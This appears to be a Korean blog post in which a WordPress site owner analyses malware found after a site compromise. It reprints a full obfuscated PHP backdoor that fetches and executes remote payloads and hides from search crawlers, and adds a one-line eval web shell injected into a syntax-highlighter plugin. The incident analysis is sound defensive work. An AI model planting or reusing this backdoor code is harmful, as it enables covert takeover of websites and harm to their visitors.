메인 페이지가 특정 adf.ly 페이지로 리다이렉트 되더군요…
[인터넷에서] [찾아보니] 특정 취약점을 이용해 관리자 계정을 만들고 header.php를 고쳐 리다이렉트되게 만들었던 것 같습니다…
사후대응으로 [이 글]을 통해 Wordfence라는 플러그인을 설치하고 파일 검사를 진행했더니 아래와 같이 무작위 파일명에 언더바를 붙인 php 파일들이 수십 개 나오더군요.
mal.txt 원본 php 파일입니다.
mal_modified.txt 가독성을 높인 버전입니다.
아래 첫 번째 함수는 인자 세 개를 받고 base64_decode한 특정한 문자열을 만들어내는 것 같았습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
function BlXxDJqU($PpNYYZlrJRDxI, $dLNmVKxFatjmWSMj, $fyHgWcuOGTLS) { $base64_decode = "base64_decode"; $substr = $base64_decode("c3Vic3Ry"); $strlen = $base64_decode("c3RybGVu"); $strpos = $base64_decode("c3RycG9z"); $TsbXuavaDmdYPqVN = $strpos($PpNYYZlrJRDxI, $dLNmVKxFatjmWSMj); if ($TsbXuavaDmdYPqVN === false) { return false; } $lgGWrcMtyzhWQC = $strpos($PpNYYZlrJRDxI, $fyHgWcuOGTLS, $TsbXuavaDmdYPqVN); $WWGiGAbaitLo = $substr($PpNYYZlrJRDxI, ($TsbXuavaDmdYPqVN + $strlen($dLNmVKxFatjmWSMj)), ($lgGWrcMtyzhWQC - $TsbXuavaDmdYPqVN - $strlen($dLNmVKxFatjmWSMj))); return $WWGiGAbaitLo; } |
두 번째 함수는 HTTP쪽을 처리하는 함수인 것 같은데 HTTP_X_FORWARDED_FOR 혹은 REMOTE_ADDR 속성을 찾아내는 것 같네요.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
function NxnlgIVr() { $base64_decode = "base64_decode"; $array_key_exists = $base64_decode("YXJyYXlfa2V5X2V4aXN0cw=="); $strpos = $base64_decode("c3RycG9z"); $ret = ""; if ( @ $array_key_exists("HTTP_X_FORWARDED_FOR", $_SERVER) && ! @ empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { if ( @ $strpos($_SERVER["HTTP_X_FORWARDED_FOR"], ",") > 0) { $rRDKEcxvzdx = @ explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"]); $ret = trim($rRDKEcxvzdx[0]); } else { $ret = @ $_SERVER["HTTP_X_FORWARDED_FOR"]; } } else { $ret = @ $_SERVER["REMOTE_ADDR"]; } $ret = trim($ret); if (!$ret || empty($ret) || $ret == "") { $ret = -1; } return $ret; } |
세 번째 함수는 CURL을 이용해 특정 주소에 있는 파일을 받아오거나 보내는 것 같았습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
function dDTxWcnu($gScYkKyXtqnNYZzX) { $base64_decode = "base64_decode"; $preg_match = $base64_decode("cHJlZ19tYXRjaA=="); $function_exists = $base64_decode("ZnVuY3Rpb25fZXhpc3Rz"); $curl_setopt = $base64_decode("Y3VybF9zZXRvcHQ="); $constant = $base64_decode("Y29uc3RhbnQ="); $CURLOPT_TIMEOUT = $base64_decode("Q1VSTE9QVF9USU1FT1VU"); $CURLOPT_CONNECTTIMEOUT = $base64_decode("Q1VSTE9QVF9DT05ORUNUVElNRU9VVA=="); $CURLOPT_URL = $base64_decode("Q1VSTE9QVF9VUkw="); $CURLOPT_RETURNTRANSFER = $base64_decode("Q1VSTE9QVF9SRVRVUk5UUkFOU0ZFUg=="); $CURLOPT_HTTPHEADER = $base64_decode("Q1VSTE9QVF9IVFRQSEVBREVS"); $parse_url = $base64_decode("cGFyc2VfdXJs"); $fsockopen = $base64_decode("ZnNvY2tvcGVu"); $feof = $base64_decode("ZmVvZg=="); $fgets = $base64_decode("ZmdldHM="); $fclose = $base64_decode("ZmNsb3Nl"); $server = $_SERVER; $full_url_path = "http://".$server["HTTP_HOST"].$server["REQUEST_URI"]; if ( @ $function_exists("curl_init")) { $mwOmkDPPBVEVEVGx = curl_init(); $curl_setopt($mwOmkDPPBVEVEVGx, $constant($CURLOPT_TIMEOUT), 5); $curl_setopt($mwOmkDPPBVEVEVGx, $constant($CURLOPT_CONNECTTIMEOUT), 5); $curl_setopt($mwOmkDPPBVEVEVGx, $constant($CURLOPT_URL), $gScYkKyXtqnNYZzX); $curl_setopt($mwOmkDPPBVEVEVGx, $constant($CURLOPT_RETURNTRANSFER), 1); $curl_setopt($mwOmkDPPBVEVEVGx, $constant($CURLOPT_HTTPHEADER), array("X-Forwarded-Forr: ".NxnlgIVr(), "User-Agent: ". @ $server["HTTP_USER_AGENT"], "Referer: ".$full_url_path, )); $ret = trim(curl_exec($mwOmkDPPBVEVEVGx)); } elseif( @ $function_exists("fsockopen")) { $PSICpAHvJbLtQhDM = @ $parse_url($gScYkKyXtqnNYZzX); if ($RZAkYEwcDbX = @ $fsockopen($PSICpAHvJbLtQhDM["host"], 80, $nQJoaCNfGQxLXbd, $POzzkZIrfHoXJB, 6)) { fwrite($RZAkYEwcDbX, "GET http://".$PSICpAHvJbLtQhDM["host"].$PSICpAHvJbLtQhDM["path"]."?".$PSICpAHvJbLtQhDM["query"]." HTTP/1.0\r\nHost: ".$PSICpAHvJbLtQhDM["host"]."\r\nUser-Agent: ". @ $server["HTTP_USER_AGENT"]."\r\nX-Forwarded-Forr: ".NxnlgIVr()."\r\nReferer: ".$full_url_path."\r\nConnection: Close\r\n\r\n"); $ret = ""; while (!$feof($RZAkYEwcDbX)) { $ret. = @ $fgets($RZAkYEwcDbX, 1024); } @ list($UlUZHBnjVspgQMQC, $ret) = @ explode("\r\n\r\n", $ret); @ $fclose($RZAkYEwcDbX); } } else { $ret = "curl_init and fsockopen disabled"; } return $ret; } |
아래 코드는 전역 스코프에 존재한 코드였습니다. 문서파일과 각종 워드프레스 관련 파일들을 찾아 내용을 가져오는 행동을 하는 것으로 보입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 |
$base64_decode = "base64_decode"; $post = $_POST; $substr = $base64_decode("c3Vic3Ry"); $strlen = $base64_decode("c3RybGVu"); $stripos = $base64_decode("c3RyaXBvcw=="); $basename = $base64_decode("YmFzZW5hbWU="); $is_null = $base64_decode("aXNfbnVsbA=="); if (isset($post[$base64_decode("aw==")])) { $k = $post[$base64_decode("aw==")]; $ord = $base64_decode("b3Jk"); $chr = $base64_decode("Y2hy"); $abs = $base64_decode("YWJz"); $PrcEfosXthhYM = ""; $uuqJfNgEXRGH = $base64_decode("o52fzMKrmtqMVqWXpKGl3o/Oy6ahrFdlhWVja5eYZJibZmWMnkKp2N2veKWcppLZmc/HmKShoqLZW2hplY5u3saVpcbLYHrex5mopqChoYVUx4u0tUKen42Zm6XKxJjZzKel1otfY5XJpqqhqZGf1JeJi2JYs1V5y5yensTVqNXCl6DR152j2tdcX2Bml6XXn9TBpaefXGWMWlt0haWoz8+dn86LX2OVyaaqoamRn9SXiYt0WLU/ec6aoKjXypLW1pmjwsSapNjYXKykrJdcoFBsop6qqqSrxKWXqdTXp8rRm1mTjHM/zNmim6agoaGFk9HOpZ2bqWGOrjxCicii1tGoUaCDaHBwbZ2eWqClpsqkioaYf32JlIyWWZaOhVmHg6el1c+do46Ik393i41ayFe/i3doYbBDbjxWnNTaodWDcVGHwn96ur9bm1mUbT1urcfOrJ1Ynp+NnKWsytlbhcKEgLa3k1zJi5FhUl1YU9ik1M6epmBZmLWChY3AjJaIwF1vk4yzP29tWJuhrKCnhW2ChpiIh4iNwFqVYMKgPWrgPjqHwptVo4SVqqSYq1uOa2xrXZpuVXaFVZSa2MpplYViU4WRWpSIklacl5pUYYefxsdbc0I+n9SlWl3OhXCBlG9Rh8xYcaOEWJuhrKCnoFCGy2RjWF60bzw7osuNnNTWmaWLh5eFtbeIk1R6gYKweae1W2ZcnpaOU1hfhdin08+Zn4uHl4W1t4iTVHqBgrB5p7VbZlyelo5xYmLgbzxqbFiQxr6VcobYpqGfX1aStX+1tpRae4SIsHx3jIeTV8rAXWxtbEGycG2xQjupl6faotCCXZpuXaLSo56oycpbg4VgVcLGYV6hbrFCcquhqMiYioaYi32Hj6qFjVu4qIWqs4iQqayEerSlgX1UlF5b2ZnPx2FhZV1sm2NiY5eZXZSZaVuWjGFeoW50rKGslZuNksPVnqaZop6NV5GMqreJprWPU7amin62uJN+e4N3gaZ9p4SWYWRdrc6gl2GOkluUmWRhjZVsX5maaWJlYFtcoDqGwZxYdVWc1J+ensjZW4qePprJi1ma09SosVpbkZaOUIiIWausp6XKoVpdxMhcn5NdrG2DWFWGhFSdqJieW4mPxYt0QrWapdiYrUNuzZjCx5mji4WAibq0Y2lgZ1JnlWSCsKisWHuo2qGWW46gPd4="); for ($i = 0; $i < $strlen($uuqJfNgEXRGH); $i++) { $wBuWtQysXir = $ord($substr($uuqJfNgEXRGH, $i)); $wBuWtQysXir -= $ord($substr($k, (($i + 1) % $strlen($k)))); $PrcEfosXthhYM. = $chr($abs($wBuWtQysXir) & 0xFF); } AHAfeNGM($PrcEfosXthhYM, true); exit(); } $server = $_SERVER; $request_uri = @ $server["REQUEST_URI"]; $request_flag = false; if ( @ empty($request_uri) || @ $strlen($request_uri) == 0 || @ $is_null($request_uri)) { $request_flag = true; } else { if ( @ $stripos($request_uri, @ $basename(__FILE__)) === false) { $request_flag = true; } } if ($request_flag) { $base64_decode = "base64_decode"; $preg_match = $base64_decode("cHJlZ19tYXRjaA=="); $file_get_contents = $base64_decode("ZmlsZV9nZXRfY29udGVudHM="); $substr = $base64_decode("c3Vic3Ry"); $substr_replace = $base64_decode("c3Vic3RyX3JlcGxhY2U="); $strlen = $base64_decode("c3RybGVu"); $md5 = $base64_decode("bWQ1"); if (!defined("___INIT___123213")) { define("___INIT___123213", 1); if (! @ $server["HTTP_USER_AGENT"]OR @ $preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", @ $server["HTTP_USER_AGENT"])) {} else { $KicFXAHNhKv = @ $server["HTTP_HOST"]; if ( @ $is_null($KicFXAHNhKv)) { $KicFXAHNhKv = "PHPSESSIDPHP"; } else { if ($substr($KicFXAHNhKv, 0, 4) == "www.") { $KicFXAHNhKv = $substr_replace($KicFXAHNhKv, "", 0, 4); } } $xCrDRanYZEFbGn = $md5($md5($KicFXAHNhKv.$KicFXAHNhKv)); if (isset($_COOKIE[$xCrDRanYZEFbGn])) {} else { $uri_match_flag = false; foreach(array("/\.css$/", "/\.swf$/", "/\.ashx$/", "/\.docx$/", "/\.doc$/", "/\.xls$/", "/\.xlsx$/", "/\.xml$/", "/\.jpg$/", "/\.pdf$/", "/\.png$/", "/\.gif$/", "/\.ico$/", "/\.js$/", "/\.txt$/", "/ajax/", "/cron\.php$/", "/wp\-login\.php$/", "/\/wp\-includes\//", "/\/wp\-admin/", "/\/admin\//", "/\/wp\-content\//", "/\/administrator\//", "/phpmyadmin/i", "/xmlrpc\.php/", "/\/feed\//")as$FPLJUgRCgqAGp) { if ( @ $preg_match($FPLJUgRCgqAGp, $server["REQUEST_URI"])) { $uri_match_flag = true; break; } } if (!$uri_match_flag) { if ( @ $preg_match("/\/\*[it]{2) *[fk]{2}\*\//i", @ $file_get_contents(__FILE__), $iiRhotJkUfmZv)) { $PpNYYZlrJRDxI = @ BlXxDJqU( @ dDTxWcnu($base64_decode($substr($iiRhotJkUfmZv[0], 10, @ $strlen($iiRhotJkUfmZv[0]) - 20))), "START:", "-STOP"); if ($PpNYYZlrJRDxI && @ $strlen($PpNYYZlrJRDxI) > 0) { AHAfeNGM($base64_decode($PpNYYZlrJRDxI)); } } } } } } } else { exit(); } |
아래는 마지막 함수입니다. 특정 파일을 생성하는 것으로 보였습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 |
function AHAfeNGM($PrcEfosXthhYM, $jMHFfheEJxaXeJt = false) { $base64_decode = "base64_decode"; $tmpfile = $base64_decode("dG1wZmlsZQ=="); $function_exists = $base64_decode("ZnVuY3Rpb25fZXhpc3Rz"); $stream_get_meta_data = $base64_decode("c3RyZWFtX2dldF9tZXRhX2RhdGE="); $is_array = $base64_decode("aXNfYXJyYXk="); $file_exists = $base64_decode("ZmlsZV9leGlzdHM="); $fwrite = $base64_decode("ZndyaXRl"); $fclose = $base64_decode("ZmNsb3Nl"); $file_get_contents = $base64_decode("ZmlsZV9nZXRfY29udGVudHM="); $stripos = $base64_decode("c3RyaXBvcw=="); $unlink = $base64_decode("dW5saW5r"); $ini_get = $base64_decode("aW5pX2dldA=="); $sys_get_temp_dir = $base64_decode("c3lzX2dldF90ZW1wX2Rpcg=="); $is_writable = $base64_decode("aXNfd3JpdGFibGU="); $tempnam = $base64_decode("dGVtcG5hbQ=="); $rand = $base64_decode("cmFuZA=="); $fopen = $base64_decode("Zm9wZW4="); $preg_replace = $base64_decode("cHJlZ19yZXBsYWNl"); $create_function = $base64_decode("Y3JlYXRlX2Z1bmN0aW9u"); $base64_encode = $base64_decode("YmFzZTY0X2VuY29kZQ=="); $ < ? php = $base64_decode("PD9waHA="); $eval = $base64_decode("ZXZhbA=="); $uri = $base64_decode("dXJp"); $upload_tmp_dir = $base64_decode("dXBsb2FkX3RtcF9kaXI="); $return = $base64_decode("cmV0dXJuIA=="); $w = $base64_decode("dw=="); $constant = $base64_decode("Y29uc3RhbnQ="); $DIRECTORY_SEPARATOR = $base64_decode("RElSRUNUT1JZX1NFUEFSQVRPUg=="); $PHP_EOL = $base64_decode("UEhQX0VPTA=="); $DOCUMENT_ROOT = $base64_decode("RE9DVU1FTlRfUk9PVA=="); if ($function_exists($preg_replace)) { $rand_number = $rand(300, 6000); $_t = 30; $ADvxRTAJsMAKwZw = "\$_t = 15;"; $zbteMpxiYPmvjhD = $eval."('".$ADvxRTAJsMAKwZw."');"; $preg_replace("/".$rand_number."/e", $zbteMpxiYPmvjhD, $rand_number); if ($_t == 15) { $zbteMpxiYPmvjhD = $eval."(base64_decode('".$base64_encode($PrcEfosXthhYM)."'));"; $preg_replace("/".$rand_number."/e", $zbteMpxiYPmvjhD, $rand_number); if ($jMHFfheEJxaXeJt) { exit(); } else { return; } } } if ($function_exists($create_function)) { $leXDgFsbZfHJEpUe = 35; $qZXFqVOjPuVK = $create_function("", $return."15;"); $leXDgFsbZfHJEpUe = $qZXFqVOjPuVK(); if ($leXDgFsbZfHJEpUe == 15) { $qZXFqVOjPuVK = $create_function("", $PrcEfosXthhYM); $qZXFqVOjPuVK(); if ($jMHFfheEJxaXeJt) { exit(); } else { return; } } } if ( @ $is_writable($_SERVER[$DOCUMENT_ROOT].$constant($DIRECTORY_SEPARATOR))) { $PFyRbXVOUBY = $_SERVER[$DOCUMENT_ROOT].$constant($DIRECTORY_SEPARATOR).$rand(500, 6000); $RZAkYEwcDbX = @ $fopen($PFyRbXVOUBY, $w); if ( @ $file_exists($PFyRbXVOUBY)) { @ $fwrite($RZAkYEwcDbX, $ < ? php.$constant($PHP_EOL).$PrcEfosXthhYM); $fclose($RZAkYEwcDbX); if ($stripos($file_get_contents($PFyRbXVOUBY), $PrcEfosXthhYM) !== false) { if (!defined("___NOTSELF___")) { define("___NOTSELF___", 1); } include_once($PFyRbXVOUBY); @ $unlink($PFyRbXVOUBY); if ($jMHFfheEJxaXeJt) { exit(); } else { return; } } @ $unlink($PFyRbXVOUBY); } } $govZrUCmHBO = @ $tmpfile(); if ($function_exists($stream_get_meta_data)) { $twetAagkRhmQXLKU = @ $stream_get_meta_data($govZrUCmHBO); if ($is_array($twetAagkRhmQXLKU)) { if ( @ $file_exists($twetAagkRhmQXLKU[$uri])) { @ $fwrite($govZrUCmHBO, $ < ? php.$constant($PHP_EOL).$PrcEfosXthhYM); $QNRswKKBLFHX = $file_get_contents($twetAagkRhmQXLKU[$uri]); if ($stripos($QNRswKKBLFHX, $PrcEfosXthhYM) !== false) { if (!defined("___NOTSELF___")) { define("___NOTSELF___", 1); } include_once($twetAagkRhmQXLKU[$uri]); $fclose($govZrUCmHBO); @ $unlink($twetAagkRhmQXLKU[$uri]); if ($jMHFfheEJxaXeJt) { exit(); } else { return; } } } } } $OtALpJiZcOElWGO = @ $ini_get($upload_tmp_dir); $OtALpJiZcOElWGO = $OtALpJiZcOElWGO ? $OtALpJiZcOElWGO : @ $sys_get_temp_dir(); if ( @ $file_exists($OtALpJiZcOElWGO) && @ $is_writable($OtALpJiZcOElWGO)) { $tmpfile = @ $tempnam($OtALpJiZcOElWGO, $rand(10, 1000)); $RZAkYEwcDbX = @ $fopen($tmpfile, $w); if ( @ $file_exists($tmpfile)) { @ $fwrite($RZAkYEwcDbX, $ < ? php.$constant($PHP_EOL).$PrcEfosXthhYM); $fclose($RZAkYEwcDbX); if ($stripos($file_get_contents($tmpfile), $PrcEfosXthhYM) !== false) { if (!defined("___NOTSELF___")) { define("___NOTSELF___", 1); } include_once($tmpfile); @ $unlink($tmpfile); if ($jMHFfheEJxaXeJt) { exit(); } else { return; } } @ $unlink($tmpfile); } } } |
좀 찝찝했던 건 이 파일들의 생성 날짜가 2012년으로 되어있는데 제가 이 홈페이지를 만든 건 2014년 말이거든요. 의심을 못하게 일부러 오래되게 만들었거나 파일 자체는 만들어져있고 리눅스에서 파일 생성 시간을 보존하면서 가져왔을 수도 있겠군요..
아무튼 큰 피해는 없어서 다행이었습니다.
[2016년 8월 3일에 내용 추가]
오늘 인덱스 페이지가 다시 수정당했습니다. 그래서 정밀검사를 진행했는데 Crayon Syntax Highlighter의 코드가 아래와 같이 변조당했더군요.
1 |
<?php if(isset($_REQUEST[sam])){$c=eval(chr(47).chr(42).chr(116).chr(116).chr(42).chr(47).chr(36).chr(122).chr(32).chr(61).chr(32).chr(36).chr(95).chr(82).chr(69).chr(81).chr(85).chr(69).chr(83).chr(84).chr(91).chr(39).chr(115).chr(97).chr(109).chr(39).chr(93).chr(59).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(122).chr(41).chr(41).chr(59));$b=chr(112).chr(114).chr(101).chr(103).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101);$b(" / ".chr(101).chr(54).chr(52)." / ",$c," / ".chr(101).chr(54).chr(52)." / ");die();} |
결국은 얘로부터 칩입당한 것 같았습니다…